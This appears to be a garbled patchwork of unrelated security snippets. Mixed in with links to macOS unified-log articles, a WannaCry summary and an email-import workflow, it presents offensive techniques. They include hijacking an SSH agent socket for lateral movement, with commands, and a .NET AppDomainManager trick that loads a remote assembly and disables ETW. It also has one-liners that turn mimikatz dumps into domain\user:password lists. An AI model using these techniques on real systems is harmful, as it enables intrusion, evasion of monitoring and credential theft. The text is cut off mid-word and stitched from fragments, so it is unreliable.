Matt Wagenknecht sopsmattw

Sarah Edwards (@iamevltwin)
Unified Log
- Howard Oakley @howardnoakley
  - Unified log: 1 why, what and how
  - Unified log: 2 content and extraction
Unified log: 3 finding your way

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]

user@internal:~$ hostname -f
internal.company.tld

This is a variation of the technique originally discovered by subtee and described here

TL;DR It essentially allows you to turn any .NET application into a lolbin by providing a configuration file and specifying the <appDomainManagerAssembly> element pointing to a specially crafted .NET assembly which executes when the application is loaded.

This variation allows you to load the AppDomainManager assembly from a UNC path or HTTP(s) server. Also disables ETW thanks to the <etwEnable> element :)

Copy some binary you love to say, C:\Test. Lets use aspnet_compiler.exe as an example
Compile test.cs to test.dll with a signed strong name, this is required to load an assembly outside of a .NET applications base directory.
Host test.dll on a remote SMB or HTTP(S) server

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru

Download a bunch of PSTs into a directory
Download psts-to-files.sh and fiddle-with-rtf-bodies.rb to the same directory
Install readpst
chmod +x psts-to-files.sh fiddle-with-rtf-bodies.rb
Run ./psts-to-files.sh
Upload the files directory to www.overviewdocs.com

This works best for <20,000 emails. The scripts convert email messages to RTF to preserve formatting, and Overview can take a while to import all those files.

If you want to handle even more emails, you can upload a CSV. This takes away all attachments -- and occasionally some body text. Here's what to do:

	Assuming you have a mimikatz dump named "mimikatz_dump.txt", I made these bash one-liners that will reformat the mimikatz output to "domain\user:password"

	First, before using these parsers, run: "dos2unix mimikatz_dump.txt"

	Mimikatz 1.0:

	cat mimikatz_dump.txt \| grep -P '((Utilisateur principal)\|(msv1_0)\|(kerberos)\|(ssp)\|(wdigest)\|(tspkg))\s+:\s+.+' \| grep -v 'n\.' \| sed -e 's/^\s\+[^:]:\s\+//' \| sed -e 's/Utilisateur principal\s\+:\s\+\(.\)$/\n\1/' \| sort -u


	Mimikatz 2.0 (unfortunately, you must "apt-get install pcregrep" because reasons):